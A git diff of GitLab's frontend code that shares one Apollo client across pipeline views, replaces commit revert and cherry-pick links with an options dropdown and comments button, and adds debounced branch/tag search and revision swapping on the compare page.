diff --git a/app/assets/javascripts/pipelines/pipeline_details_dag.js b/app/assets/javascripts/pipelines/pipeline_details_dag.js
index 4ee0ad462d2..e2835ecc4d1 100644
--- a/app/assets/javascripts/pipelines/pipeline_details_dag.js
+++ b/app/assets/javascripts/pipelines/pipeline_details_dag.js
@@ -1,15 +1,10 @@
import Vue from 'vue';
import VueApollo from 'vue-apollo';
-import createDefaultClient from '~/lib/graphql';
import Dag from './components/dag/dag.vue';
Vue.use(VueApollo);
-const apolloProvider = new VueApollo({
- defaultClient: createDefaultClient(),
-});
-
-const createDagApp = () => {
+const createDagApp = (apolloProvider) => {
const el = document.querySelector('#js-pipeline-dag-vue');
if (!el) {
diff --git a/app/assets/javascripts/pipelines/pipeline_details_graph.js b/app/assets/javascripts/pipelines/pipeline_details_graph.js
index 9eba39738dc..39c3c2ea5c5 100644
--- a/app/assets/javascripts/pipelines/pipeline_details_graph.js
+++ b/app/assets/javascripts/pipelines/pipeline_details_graph.js
@@ -1,23 +1,14 @@
import Vue from 'vue';
import VueApollo from 'vue-apollo';
-import createDefaultClient from '~/lib/graphql';
import { GRAPHQL } from './components/graph/constants';
import PipelineGraphWrapper from './components/graph/graph_component_wrapper.vue';
-import { reportToSentry } from './components/graph/utils';
+import { reportToSentry } from './utils';
Vue.use(VueApollo);
-const apolloProvider = new VueApollo({
- defaultClient: createDefaultClient(
- {},
- {
- useGet: true,
- },
- ),
-});
-
const createPipelinesDetailApp = (
selector,
+ apolloProvider,
{ pipelineProjectPath, pipelineIid, metricsPath, graphqlResourceEtag } = {},
) => {
// eslint-disable-next-line no-new
diff --git a/app/assets/javascripts/pipelines/pipeline_details_header.js b/app/assets/javascripts/pipelines/pipeline_details_header.js
index cba29acdb32..1c619768764 100644
--- a/app/assets/javascripts/pipelines/pipeline_details_header.js
+++ b/app/assets/javascripts/pipelines/pipeline_details_header.js
@@ -1,15 +1,10 @@
import Vue from 'vue';
import VueApollo from 'vue-apollo';
-import createDefaultClient from '~/lib/graphql';
import pipelineHeader from './components/header_component.vue';
Vue.use(VueApollo);
-const apolloProvider = new VueApollo({
- defaultClient: createDefaultClient(),
-});
-
-export const createPipelineHeaderApp = (elSelector) => {
+export const createPipelineHeaderApp = (elSelector, apolloProvider, graphqlResourceEtag) => {
const el = document.querySelector(elSelector);
if (!el) {
@@ -27,6 +22,7 @@ export const createPipelineHeaderApp = (elSelector) => {
provide: {
paths: {
fullProject: fullPath,
+ graphqlResourceEtag,
pipelinesPath,
},
pipelineId,
diff --git a/app/assets/javascripts/pipelines/pipeline_details_notification.js b/app/assets/javascripts/pipelines/pipeline_details_notification.js
new file mode 100644
index 00000000000..be234e8972d
--- /dev/null
+++ b/app/assets/javascripts/pipelines/pipeline_details_notification.js
@@ -0,0 +1,29 @@
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import PipelineNotification from './components/notification/pipeline_notification.vue';
+
+Vue.use(VueApollo);
+
+export const createPipelineNotificationApp = (elSelector, apolloProvider) => {
+ const el = document.querySelector(elSelector);
+
+ if (!el) {
+ return;
+ }
+
+ const { dagDocPath } = el?.dataset;
+ // eslint-disable-next-line no-new
+ new Vue({
+ el,
+ components: {
+ PipelineNotification,
+ },
+ provide: {
+ dagDocPath,
+ },
+ apolloProvider,
+ render(createElement) {
+ return createElement('pipeline-notification');
+ },
+ });
+};
diff --git a/app/assets/javascripts/pipelines/pipeline_shared_client.js b/app/assets/javascripts/pipelines/pipeline_shared_client.js
new file mode 100644
index 00000000000..c3be487caae
--- /dev/null
+++ b/app/assets/javascripts/pipelines/pipeline_shared_client.js
@@ -0,0 +1,11 @@
+import VueApollo from 'vue-apollo';
+import createDefaultClient from '~/lib/graphql';
+
+export const apolloProvider = new VueApollo({
+ defaultClient: createDefaultClient(
+ {},
+ {
+ useGet: true,
+ },
+ ),
+});
diff --git a/app/assets/javascripts/pipelines/pipelines_index.js b/app/assets/javascripts/pipelines/pipelines_index.js
index 0e2e9785956..9ed4365ad75 100644
--- a/app/assets/javascripts/pipelines/pipelines_index.js
+++ b/app/assets/javascripts/pipelines/pipelines_index.js
@@ -27,6 +27,8 @@ export const initPipelinesIndex = (selector = '#pipelines-list-vue') => {
errorStateSvgPath,
noPipelinesSvgPath,
newPipelinePath,
+ addCiYmlPath,
+ suggestedCiTemplates,
canCreatePipeline,
hasGitlabCi,
ciLintPath,
@@ -37,6 +39,10 @@ export const initPipelinesIndex = (selector = '#pipelines-list-vue') => {
return new Vue({
el,
+ provide: {
+ addCiYmlPath,
+ suggestedCiTemplates: JSON.parse(suggestedCiTemplates),
+ },
data() {
return {
store: new PipelinesStore(),
diff --git a/app/assets/javascripts/pipelines/utils.js b/app/assets/javascripts/pipelines/utils.js
index 22820fca43e..0a6c326fa3d 100644
--- a/app/assets/javascripts/pipelines/utils.js
+++ b/app/assets/javascripts/pipelines/utils.js
@@ -1,3 +1,4 @@
+import * as Sentry from '@sentry/browser';
import { pickBy } from 'lodash';
import { createNodeDict } from './components/parsing_utils';
import { SUPPORTED_FILTER_PARAMETERS } from './constants';
@@ -65,3 +66,10 @@ export const generateJobNeedsDict = (jobs = {}) => {
return { ...acc, [value]: uniqueValues };
}, {});
};
+
+export const reportToSentry = (component, failureType) => {
+ Sentry.withScope((scope) => {
+ scope.setTag('component', component);
+ Sentry.captureException(failureType);
+ });
+};
diff --git a/app/assets/javascripts/projects/commit/components/commit_comments_button.vue b/app/assets/javascripts/projects/commit/components/commit_comments_button.vue
new file mode 100644
index 00000000000..67b5e1e512c
--- /dev/null
+++ b/app/assets/javascripts/projects/commit/components/commit_comments_button.vue
@@ -0,0 +1,42 @@
+<script>
+import { GlButton, GlTooltipDirective } from '@gitlab/ui';
+import { n__ } from '~/locale';
+
+export default {
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ components: {
+ GlButton,
+ },
+ props: {
+ commentsCount: {
+ type: Number,
+ required: true,
+ },
+ },
+ computed: {
+ tooltipText() {
+ return n__('%d comment on this commit', '%d comments on this commit', this.commentsCount);
+ },
+ showCommentButton() {
+ return this.commentsCount > 0;
+ },
+ },
+};
+</script>
+
+<template>
+ <span
+ v-if="showCommentButton"
+ v-gl-tooltip
+ class="gl-display-none gl-sm-display-inline-block"
+ tabindex="0"
+ :title="tooltipText"
+ data-testid="comment-button-wrapper"
+ >
+ <gl-button icon="comment" class="gl-mr-3" disabled>
+ {{ commentsCount }}
+ </gl-button>
+ </span>
+</template>
diff --git a/app/assets/javascripts/projects/commit/components/commit_options_dropdown.vue b/app/assets/javascripts/projects/commit/components/commit_options_dropdown.vue
new file mode 100644
index 00000000000..d96d1035ed0
--- /dev/null
+++ b/app/assets/javascripts/projects/commit/components/commit_options_dropdown.vue
@@ -0,0 +1,107 @@
+<script>
+import { GlDropdown, GlDropdownItem, GlDropdownDivider, GlDropdownSectionHeader } from '@gitlab/ui';
+import { OPEN_REVERT_MODAL, OPEN_CHERRY_PICK_MODAL } from '../constants';
+import eventHub from '../event_hub';
+
+export default {
+ components: {
+ GlDropdown,
+ GlDropdownItem,
+ GlDropdownDivider,
+ GlDropdownSectionHeader,
+ },
+ inject: {
+ newProjectTagPath: {
+ default: '',
+ },
+ emailPatchesPath: {
+ default: '',
+ },
+ plainDiffPath: {
+ default: '',
+ },
+ },
+ props: {
+ canRevert: {
+ type: Boolean,
+ required: true,
+ },
+ canCherryPick: {
+ type: Boolean,
+ required: true,
+ },
+ canTag: {
+ type: Boolean,
+ required: true,
+ },
+ canEmailPatches: {
+ type: Boolean,
+ required: true,
+ },
+ },
+ computed: {
+ showDivider() {
+ return this.canRevert || this.canCherryPick || this.canTag;
+ },
+ },
+ methods: {
+ showModal(modalId) {
+ eventHub.$emit(modalId);
+ },
+ },
+ openRevertModal: OPEN_REVERT_MODAL,
+ openCherryPickModal: OPEN_CHERRY_PICK_MODAL,
+};
+</script>
+
+<template>
+ <gl-dropdown
+ :text="__('Options')"
+ right
+ data-testid="commit-options-dropdown"
+ data-qa-selector="options_button"
+ class="gl-xs-w-full"
+ >
+ <gl-dropdown-item
+ v-if="canRevert"
+ data-testid="revert-link"
+ @click="showModal($options.openRevertModal)"
+ >
+ {{ s__('ChangeTypeAction|Revert') }}
+ </gl-dropdown-item>
+ <gl-dropdown-item
+ v-if="canCherryPick"
+ data-testid="cherry-pick-link"
+ data-qa-selector="cherry_pick_button"
+ @click="showModal($options.openCherryPickModal)"
+ >
+ {{ s__('ChangeTypeAction|Cherry-pick') }}
+ </gl-dropdown-item>
+ <gl-dropdown-item v-if="canTag" :href="newProjectTagPath" data-testid="tag-link">
+ {{ s__('CreateTag|Tag') }}
+ </gl-dropdown-item>
+ <gl-dropdown-divider v-if="showDivider" />
+ <gl-dropdown-section-header>
+ {{ __('Download') }}
+ </gl-dropdown-section-header>
+ <gl-dropdown-item
+ v-if="canEmailPatches"
+ :href="emailPatchesPath"
+ download
+ rel="nofollow"
+ data-testid="email-patches-link"
+ data-qa-selector="email_patches"
+ >
+ {{ s__('DownloadCommit|Email Patches') }}
+ </gl-dropdown-item>
+ <gl-dropdown-item
+ :href="plainDiffPath"
+ download
+ rel="nofollow"
+ data-testid="plain-diff-link"
+ data-qa-selector="plain_diff"
+ >
+ {{ s__('DownloadCommit|Plain Diff') }}
+ </gl-dropdown-item>
+ </gl-dropdown>
+</template>
diff --git a/app/assets/javascripts/projects/commit/components/form_modal.vue b/app/assets/javascripts/projects/commit/components/form_modal.vue
index 30968d29cde..6eefa5f55e4 100644
--- a/app/assets/javascripts/projects/commit/components/form_modal.vue
+++ b/app/assets/javascripts/projects/commit/components/form_modal.vue
@@ -37,6 +37,11 @@ export default {
type: String,
required: true,
},
+ isCherryPick: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
data() {
return {
@@ -47,6 +52,7 @@ export default {
{ variant: 'success' },
{ category: 'primary' },
{ 'data-testid': 'submit-commit' },
+ { 'data-qa-selector': 'submit_commit_button' },
],
},
actionCancel: {
@@ -110,7 +116,7 @@ export default {
<input type="hidden" name="authenticity_token" :value="$options.csrf.token" />
<gl-form-group
- v-if="glFeatures.pickIntoProject"
+ v-if="glFeatures.pickIntoProject && isCherryPick"
:label="i18n.projectLabel"
label-for="start_project"
data-testid="dropdown-group"
diff --git a/app/assets/javascripts/projects/commit/components/form_trigger.vue b/app/assets/javascripts/projects/commit/components/form_trigger.vue
deleted file mode 100644
index 3561b5c2473..00000000000
--- a/app/assets/javascripts/projects/commit/components/form_trigger.vue
+++ /dev/null
@@ -1,35 +0,0 @@
-<script>
-import { GlLink } from '@gitlab/ui';
-import eventHub from '../event_hub';
-
-export default {
- components: {
- GlLink,
- },
- inject: {
- displayText: {
- default: '',
- },
- testId: {
- default: '',
- },
- },
- props: {
- openModal: {
- type: String,
- required: true,
- },
- },
- methods: {
- showModal() {
- eventHub.$emit(this.openModal);
- },
- },
-};
-</script>
-
-<template>
- <gl-link data-is-link="true" :data-testid="testId" @click="showModal">
- {{ displayText }}
- </gl-link>
-</template>
diff --git a/app/assets/javascripts/projects/commit/constants.js b/app/assets/javascripts/projects/commit/constants.js
index d6bb4e9483f..d553bca360e 100644
--- a/app/assets/javascripts/projects/commit/constants.js
+++ b/app/assets/javascripts/projects/commit/constants.js
@@ -2,10 +2,8 @@ import { s__, __ } from '~/locale';
export const OPEN_REVERT_MODAL = 'openRevertModal';
export const REVERT_MODAL_ID = 'revert-commit-modal';
-export const REVERT_LINK_TEST_ID = 'revert-commit-link';
export const OPEN_CHERRY_PICK_MODAL = 'openCherryPickModal';
export const CHERRY_PICK_MODAL_ID = 'cherry-pick-commit-modal';
-export const CHERRY_PICK_LINK_TEST_ID = 'cherry-pick-commit-link';
export const I18N_MODAL = {
startMergeRequest: s__('ChangeTypeAction|Start a %{newMergeRequest} with these changes'),
diff --git a/app/assets/javascripts/projects/commit/index.js b/app/assets/javascripts/projects/commit/index.js
index b5fdfc25236..d8d30c4332c 100644
--- a/app/assets/javascripts/projects/commit/index.js
+++ b/app/assets/javascripts/projects/commit/index.js
@@ -1,11 +1,11 @@
import initCherryPickCommitModal from './init_cherry_pick_commit_modal';
-import initCherryPickCommitTrigger from './init_cherry_pick_commit_trigger';
+import initCommitCommentsButton from './init_commit_comments_button';
+import initCommitOptionsDropdown from './init_commit_options_dropdown';
import initRevertCommitModal from './init_revert_commit_modal';
-import initRevertCommitTrigger from './init_revert_commit_trigger';
export default () => {
initRevertCommitModal();
- initRevertCommitTrigger();
initCherryPickCommitModal();
- initCherryPickCommitTrigger();
+ initCommitCommentsButton();
+ initCommitOptionsDropdown();
};
diff --git a/app/assets/javascripts/projects/commit/init_cherry_pick_commit_modal.js b/app/assets/javascripts/projects/commit/init_cherry_pick_commit_modal.js
index ad31ad14b2a..47ee8237fea 100644
--- a/app/assets/javascripts/projects/commit/init_cherry_pick_commit_modal.js
+++ b/app/assets/javascripts/projects/commit/init_cherry_pick_commit_modal.js
@@ -51,6 +51,7 @@ export default function initInviteMembersModal() {
i18n: { ...I18N_CHERRY_PICK_MODAL, ...I18N_MODAL },
openModal: OPEN_CHERRY_PICK_MODAL,
modalId: CHERRY_PICK_MODAL_ID,
+ isCherryPick: true,
},
}),
});
diff --git a/app/assets/javascripts/projects/commit/init_cherry_pick_commit_trigger.js b/app/assets/javascripts/projects/commit/init_cherry_pick_commit_trigger.js
deleted file mode 100644
index 942451dc96a..00000000000
--- a/app/assets/javascripts/projects/commit/init_cherry_pick_commit_trigger.js
+++ /dev/null
@@ -1,20 +0,0 @@
-import Vue from 'vue';
-import CommitFormTrigger from './components/form_trigger.vue';
-import { OPEN_CHERRY_PICK_MODAL, CHERRY_PICK_LINK_TEST_ID } from './constants';
-
-export default function initInviteMembersTrigger() {
- const el = document.querySelector('.js-cherry-pick-commit-trigger');
-
- if (!el) {
- return false;
- }
-
- const { displayText } = el.dataset;
-
- return new Vue({
- el,
- provide: { displayText, testId: CHERRY_PICK_LINK_TEST_ID },
- render: (createElement) =>
- createElement(CommitFormTrigger, { props: { openModal: OPEN_CHERRY_PICK_MODAL } }),
- });
-}
diff --git a/app/assets/javascripts/projects/commit/init_commit_comments_button.js b/app/assets/javascripts/projects/commit/init_commit_comments_button.js
new file mode 100644
index 00000000000..d70f7cb65f3
--- /dev/null
+++ b/app/assets/javascripts/projects/commit/init_commit_comments_button.js
@@ -0,0 +1,18 @@
+import Vue from 'vue';
+import CommitCommentsButton from './components/commit_comments_button.vue';
+
+export default function initCommitCommentsButton() {
+ const el = document.querySelector('#js-commit-comments-button');
+
+ if (!el) {
+ return false;
+ }
+
+ const { commentsCount } = el.dataset;
+
+ return new Vue({
+ el,
+ render: (createElement) =>
+ createElement(CommitCommentsButton, { props: { commentsCount: Number(commentsCount) } }),
+ });
+}
diff --git a/app/assets/javascripts/projects/commit/init_commit_options_dropdown.js b/app/assets/javascripts/projects/commit/init_commit_options_dropdown.js
new file mode 100644
index 00000000000..339918e7661
--- /dev/null
+++ b/app/assets/javascripts/projects/commit/init_commit_options_dropdown.js
@@ -0,0 +1,35 @@
+import Vue from 'vue';
+import { parseBoolean } from '~/lib/utils/common_utils';
+import CommitOptionsDropdown from './components/commit_options_dropdown.vue';
+
+export default function initCommitOptionsDropdown() {
+ const el = document.querySelector('#js-commit-options-dropdown');
+
+ if (!el) {
+ return false;
+ }
+
+ const {
+ newProjectTagPath,
+ emailPatchesPath,
+ plainDiffPath,
+ canRevert,
+ canCherryPick,
+ canTag,
+ canEmailPatches,
+ } = el.dataset;
+
+ return new Vue({
+ el,
+ provide: { newProjectTagPath, emailPatchesPath, plainDiffPath },
+ render: (createElement) =>
+ createElement(CommitOptionsDropdown, {
+ props: {
+ canRevert: parseBoolean(canRevert),
+ canCherryPick: parseBoolean(canCherryPick),
+ canTag: parseBoolean(canTag),
+ canEmailPatches: parseBoolean(canEmailPatches),
+ },
+ }),
+ });
+}
diff --git a/app/assets/javascripts/projects/commit/init_revert_commit_trigger.js b/app/assets/javascripts/projects/commit/init_revert_commit_trigger.js
deleted file mode 100644
index dc5168524ca..00000000000
--- a/app/assets/javascripts/projects/commit/init_revert_commit_trigger.js
+++ /dev/null
@@ -1,20 +0,0 @@
-import Vue from 'vue';
-import CommitFormTrigger from './components/form_trigger.vue';
-import { OPEN_REVERT_MODAL, REVERT_LINK_TEST_ID } from './constants';
-
-export default function initInviteMembersTrigger() {
- const el = document.querySelector('.js-revert-commit-trigger');
-
- if (!el) {
- return false;
- }
-
- const { displayText } = el.dataset;
-
- return new Vue({
- el,
- provide: { displayText, testId: REVERT_LINK_TEST_ID },
- render: (createElement) =>
- createElement(CommitFormTrigger, { props: { openModal: OPEN_REVERT_MODAL } }),
- });
-}
diff --git a/app/assets/javascripts/projects/commit/store/actions.js b/app/assets/javascripts/projects/commit/store/actions.js
index c72704303ca..2b25082eced 100644
--- a/app/assets/javascripts/projects/commit/store/actions.js
+++ b/app/assets/javascripts/projects/commit/store/actions.js
@@ -22,8 +22,8 @@ export const fetchBranches = ({ commit, dispatch, state }, query) => {
.get(state.branchesEndpoint, {
params: { search: query },
})
- .then(({ data }) => {
- commit(types.RECEIVE_BRANCHES_SUCCESS, data.Branches || []);
+ .then(({ data = [] }) => {
+ commit(types.RECEIVE_BRANCHES_SUCCESS, data.Branches?.length ? data.Branches : data);
})
.catch(() => {
createFlash({ message: PROJECT_BRANCHES_ERROR });
diff --git a/app/assets/javascripts/projects/commit_box/info/index.js b/app/assets/javascripts/projects/commit_box/info/index.js
index 17c63ecf66b..69fe2d30489 100644
--- a/app/assets/javascripts/projects/commit_box/info/index.js
+++ b/app/assets/javascripts/projects/commit_box/info/index.js
@@ -1,27 +1,17 @@
import { fetchCommitMergeRequests } from '~/commit_merge_requests';
-import MiniPipelineGraph from '~/mini_pipeline_graph_dropdown';
import { initCommitPipelineMiniGraph } from './init_commit_pipeline_mini_graph';
import { initDetailsButton } from './init_details_button';
import { loadBranches } from './load_branches';
-export const initCommitBoxInfo = (containerSelector = '.js-commit-box-info') => {
- const containerEl = document.querySelector(containerSelector);
-
+export const initCommitBoxInfo = () => {
// Display commit related branches
- loadBranches(containerEl);
+ loadBranches();
// Related merge requests to this commit
fetchCommitMergeRequests();
// Display pipeline mini graph for this commit
- // Feature flag ci_commit_pipeline_mini_graph_vue
- if (gon.features.ciCommitPipelineMiniGraphVue) {
- initCommitPipelineMiniGraph();
- } else {
- new MiniPipelineGraph({
- container: '.js-commit-pipeline-graph',
- }).bindEvents();
- }
+ initCommitPipelineMiniGraph();
initDetailsButton();
};
diff --git a/app/assets/javascripts/projects/commit_box/info/load_branches.js b/app/assets/javascripts/projects/commit_box/info/load_branches.js
index 8a0b2c30abe..d1136817cb3 100644
--- a/app/assets/javascripts/projects/commit_box/info/load_branches.js
+++ b/app/assets/javascripts/projects/commit_box/info/load_branches.js
@@ -2,7 +2,8 @@ import axios from 'axios';
import { sanitize } from '~/lib/dompurify';
import { __ } from '~/locale';
-export const loadBranches = (containerEl) => {
+export const loadBranches = (containerSelector = '.js-commit-box-info') => {
+ const containerEl = document.querySelector(containerSelector);
if (!containerEl) {
return;
}
diff --git a/app/assets/javascripts/projects/compare/components/app_legacy.vue b/app/assets/javascripts/projects/compare/components/app_legacy.vue
index c0ff58ee074..d3f09f7d69f 100644
--- a/app/assets/javascripts/projects/compare/components/app_legacy.vue
+++ b/app/assets/javascripts/projects/compare/components/app_legacy.vue
@@ -37,10 +37,22 @@ export default {
required: true,
},
},
+ data() {
+ return {
+ from: this.paramsFrom,
+ to: this.paramsTo,
+ };
+ },
methods: {
onSubmit() {
this.$refs.form.submit();
},
+ onSwapRevision() {
+ [this.from, this.to] = [this.to, this.from]; // swaps 'from' and 'to'
+ },
+ onSelectRevision({ direction, revision }) {
+ this[direction] = revision; // direction is either 'from' or 'to'
+ },
},
};
</script>
@@ -57,19 +69,30 @@ export default {
:refs-project-path="refsProjectPath"
revision-text="Source"
params-name="to"
- :params-branch="paramsTo"
+ :params-branch="to"
+ data-testid="sourceRevisionDropdown"
+ @selectRevision="onSelectRevision"
/>
<div class="compare-ellipsis gl-display-inline" data-testid="ellipsis">...</div>
<revision-dropdown
:refs-project-path="refsProjectPath"
revision-text="Target"
params-name="from"
- :params-branch="paramsFrom"
+ :params-branch="from"
+ data-testid="targetRevisionDropdown"
+ @selectRevision="onSelectRevision"
/>
<gl-button category="primary" variant="success" class="gl-ml-3" @click="onSubmit">
{{ s__('CompareRevisions|Compare') }}
</gl-button>
<gl-button
+ data-testid="swapRevisionsButton"
+ class="btn btn-default gl-button gl-ml-3"
+ @click="onSwapRevision"
+ >
+ {{ s__('CompareRevisions|Swap revisions') }}
+ </gl-button>
+ <gl-button
v-if="projectMergeRequestPath"
:href="projectMergeRequestPath"
data-testid="projectMrButton"
diff --git a/app/assets/javascripts/projects/compare/components/repo_dropdown.vue b/app/assets/javascripts/projects/compare/components/repo_dropdown.vue
index 822dfc09d81..cb9d8b64b33 100644
--- a/app/assets/javascripts/projects/compare/components/repo_dropdown.vue
+++ b/app/assets/javascripts/projects/compare/components/repo_dropdown.vue
@@ -46,14 +46,7 @@ export default {
this.emitTargetProject(repo.name);
},
setDefaultRepo() {
- if (this.isSourceRevision) {
- this.selectedRepo = this.projectTo;
- return;
- }
-
- const [defaultTargetProject] = this.projectsFrom;
- this.emitTargetProject(defaultTargetProject.name);
- this.selectedRepo = defaultTargetProject;
+ this.selectedRepo = this.projectTo;
},
emitTargetProject(name) {
if (!this.isSourceRevision) {
diff --git a/app/assets/javascripts/projects/compare/components/revision_dropdown.vue b/app/assets/javascripts/projects/compare/components/revision_dropdown.vue
index a175af2f32e..d0b69344c12 100644
--- a/app/assets/javascripts/projects/compare/components/revision_dropdown.vue
+++ b/app/assets/javascripts/projects/compare/components/revision_dropdown.vue
@@ -1,10 +1,12 @@
<script>
import { GlDropdown, GlDropdownItem, GlSearchBoxByType, GlDropdownSectionHeader } from '@gitlab/ui';
+import { debounce } from 'lodash';
import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { s__ } from '~/locale';
-const emptyDropdownText = s__('CompareRevisions|Select branch/tag');
+const EMPTY_DROPDOWN_TEXT = s__('CompareRevisions|Select branch/tag');
+const SEARCH_DEBOUNCE_MS = 300;
export default {
components: {
@@ -38,19 +40,11 @@ export default {
};
},
computed: {
- filteredBranches() {
- return this.branches.filter((branch) =>
- branch.toLowerCase().includes(this.searchTerm.toLowerCase()),
- );
+ hasBranches() {
+ return Boolean(this.branches?.length);
},
- hasFilteredBranches() {
- return this.filteredBranches.length;
- },
- filteredTags() {
- return this.tags.filter((tag) => tag.toLowerCase().includes(this.searchTerm.toLowerCase()));
- },
- hasFilteredTags() {
- return this.filteredTags.length;
+ hasTags() {
+ return Boolean(this.tags?.length);
},
},
watch: {
@@ -59,13 +53,34 @@ export default {
this.fetchBranchesAndTags(true);
}
},
+ searchTerm: debounce(function debounceSearch() {
+ this.searchBranchesAndTags();
+ }, SEARCH_DEBOUNCE_MS),
},
mounted() {
this.fetchBranchesAndTags();
},
methods: {
+ searchBranchesAndTags() {
+ return axios
+ .get(this.refsProjectPath, {
+ params: {
+ search: this.searchTerm,
+ },
+ })
+ .then(({ data }) => {
+ this.branches = data.Branches || [];
+ this.tags = data.Tags || [];
+ })
+ .catch(() => {
+ createFlash({
+ message: s__(
+ 'CompareRevisions|There was an error while searching the branch/tag list. Please try again.',
+ ),
+ });
+ });
+ },
fetchBranchesAndTags(reset = false) {
- const endpoint = this.refsProjectPath;
this.loading = true;
if (reset) {
@@ -73,7 +88,7 @@ export default {
}
return axios
- .get(endpoint)
+ .get(this.refsProjectPath)
.then(({ data }) => {
this.branches = data.Branches || [];
this.tags = data.Tags || [];
@@ -90,7 +105,7 @@ export default {
});
},
getDefaultBranch() {
- return this.paramsBranch || emptyDropdownText;
+ return this.paramsBranch || EMPTY_DROPDOWN_TEXT;
},
onClick(revision) {
this.selectedRevision = revision;
@@ -119,24 +134,24 @@ export default {
@keyup.enter="onSearchEnter"
/>
</template>
- <gl-dropdown-section-header v-if="hasFilteredBranches">
+ <gl-dropdown-section-header v-if="hasBranches">
{{ s__('CompareRevisions|Branches') }}
</gl-dropdown-section-header>
<gl-dropdown-item
- v-for="(branch, index) in filteredBranches"
- :key="`branch${index}`"
+ v-for="branch in branches"
+ :key="branch"
is-check-item
:is-checked="selectedRevision === branch"
@click="onClick(branch)"
>
{{ branch }}
</gl-dropdown-item>
- <gl-dropdown-section-header v-if="hasFilteredTags">
+ <gl-dropdown-section-header v-if="hasTags">
{{ s__('CompareRevisions|Tags') }}
</gl-dropdown-section-header>
<gl-dropdown-item
- v-for="(tag, index) in filteredTags"
- :key="`tag${index}`"
+ v-for="tag in tags"
+ :key="tag"
is-check-item
:is-checked="selectedRevision === tag"
@click="onClick(tag)"
diff --git a/app/assets/javascripts/projects/compare/components/revision_dropdown_legacy.vue b/app/assets/javascripts/projects/compare/components/revision_dropdown_legacy.vue
index 13d80b5ae0b..f57a8942a77 100644
--- a/app/assets/javascripts/projects/compare/components/revision_dropdown_legacy.vue
+++ b/app/assets/javascripts/projects/compare/components/revision_dropdown_legacy.vue
@@ -55,6 +55,11 @@ export default {
return this.filteredTags.length;
},
},
+ watch: {
+ paramsBranch(newBranch) {
+ this.setSelectedRevision(newBranch);
+ },
+ },
mounted() {
this.fetchBranchesAndTags();
},
@@ -83,10 +88,14 @@ export default {
return this.paramsBranch || s__('CompareRevisions|Select branch/tag');
},
onClick(revision) {
- this.selectedRevision = revision;
+ this.setSelectedRevision(revision);
},
onSearchEnter() {
- this.selectedRevision = this.searchTerm;
+ this.setSelectedRevision(this.searchTerm);
+ },
+ setSelectedRevision(revision) {
+ this.selectedRevision = revision || s__('CompareRevisions|Select branch/tag');
+ this.$emit('selectRevision', { direction: this.paramsName, revision });
},
},
};
diff --git a/app/assets/javascripts/projects/experiment_new_project_creation/components/app.vue b/app/assets/javascripts/projects/experiment_new_project_creation/components/app.vue
index ef61fba88fe..1060b37067e 100644
--- a/app/assets/javascripts/projects/experiment_new_project_creation/components/app.vue
+++ b/app/assets/javascripts/projects/experiment_new_project_creation/components/app.vue
@@ -1,8 +1,9 @@
<script>
/* eslint-disable vue/no-v-html */
import { GlBreadcrumb, GlIcon, GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
+import { experiment } from '~/experimentation/utils';
import { __, s__ } from '~/locale';
-
+import { NEW_REPO_EXPERIMENT } from '../constants';
import blankProjectIllustration from '../illustrations/blank-project.svg';
import ciCdProjectIllustration from '../illustrations/ci-cd-project.svg';
import createFromTemplateIllustration from '../illustrations/create-from-template.svg';
@@ -13,8 +14,10 @@ import WelcomePage from './welcome.vue';
const BLANK_PANEL = 'blank_project';
const CI_CD_PANEL = 'cicd_for_external_repo';
const LAST_ACTIVE_TAB_KEY = 'new_project_last_active_tab';
+
const PANELS = [
{
+ key: 'blank',
name: BLANK_PANEL,
selector: '#blank-project-pane',
title: s__('ProjectsNew|Create blank project'),
@@ -24,6 +27,7 @@ const PANELS = [
illustration: blankProjectIllustration,
},
{
+ key: 'template',
name: 'create_from_template',
selector: '#create-from-template-pane',
title: s__('ProjectsNew|Create from template'),
@@ -33,6 +37,7 @@ const PANELS = [
illustration: createFromTemplateIllustration,
},
{
+ key: 'import',
name: 'import_project',
selector: '#import-project-pane',
title: s__('ProjectsNew|Import project'),
@@ -42,6 +47,7 @@ const PANELS = [
illustration: importProjectIllustration,
},
{
+ key: 'ci',
name: CI_CD_PANEL,
selector: '#ci-cd-project-pane',
title: s__('ProjectsNew|Run CI/CD for external repository'),
@@ -85,16 +91,34 @@ export default {
},
computed: {
+ decoratedPanels() {
+ const PANEL_TITLES = experiment(NEW_REPO_EXPERIMENT, {
+ use: () => ({
+ blank: s__('ProjectsNew|Create blank project'),
+ import: s__('ProjectsNew|Import project'),
+ }),
+ try: () => ({
+ blank: s__('ProjectsNew|Create blank project/repository'),
+ import: s__('ProjectsNew|Import project/repository'),
+ }),
+ });
+
+ return PANELS.map(({ key, title, ...el }) => ({
+ ...el,
+ title: PANEL_TITLES[key] !== undefined ? PANEL_TITLES[key] : title,
+ }));
+ },
+
availablePanels() {
if (this.isCiCdAvailable) {
- return PANELS;
+ return this.decoratedPanels;
}
- return PANELS.filter((p) => p.name !== CI_CD_PANEL);
+ return this.decoratedPanels.filter((p) => p.name !== CI_CD_PANEL);
},
activePanel() {
- return PANELS.find((p) => p.name === this.activeTab);
+ return this.decoratedPanels.find((p) => p.name === this.activeTab);
},
breadcrumbs() {
diff --git a/app/assets/javascripts/projects/experiment_new_project_creation/components/welcome.vue b/app/assets/javascripts/projects/experiment_new_project_creation/components/welcome.vue
index ed82a635b1f..d342ce4c9c2 100644
--- a/app/assets/javascripts/projects/experiment_new_project_creation/components/welcome.vue
+++ b/app/assets/javascripts/projects/experiment_new_project_creation/components/welcome.vue
@@ -1,9 +1,10 @@
<script>
/* eslint-disable vue/no-v-html */
import Tracking from '~/tracking';
+import { NEW_REPO_EXPERIMENT } from '../constants';
import NewProjectPushTipPopover from './new_project_push_tip_popover.vue';
-const trackingMixin = Tracking.mixin(gon.tracking_data);
+const trackingMixin = Tracking.mixin({ ...gon.tracking_data, experiment: NEW_REPO_EXPERIMENT });
export default {
components: {
diff --git a/app/assets/javascripts/projects/experiment_new_project_creation/constants.js b/app/assets/javascripts/projects/experiment_new_project_creation/constants.js
new file mode 100644
index 00000000000..402ca887cf1
--- /dev/null
+++ b/app/assets/javascripts/projects/experiment_new_project_creation/constants.js
@@ -0,0 +1 @@
+export const NEW_REPO_EXPERIMENT = 'new_repo';
diff --git a/app/assets/javascripts/projects/pipelines/charts/components/app.vue b/app/assets/javascripts/projects/pipelines/charts/components/app.vue
index 4a8e1424fa8..8d005373508 100644
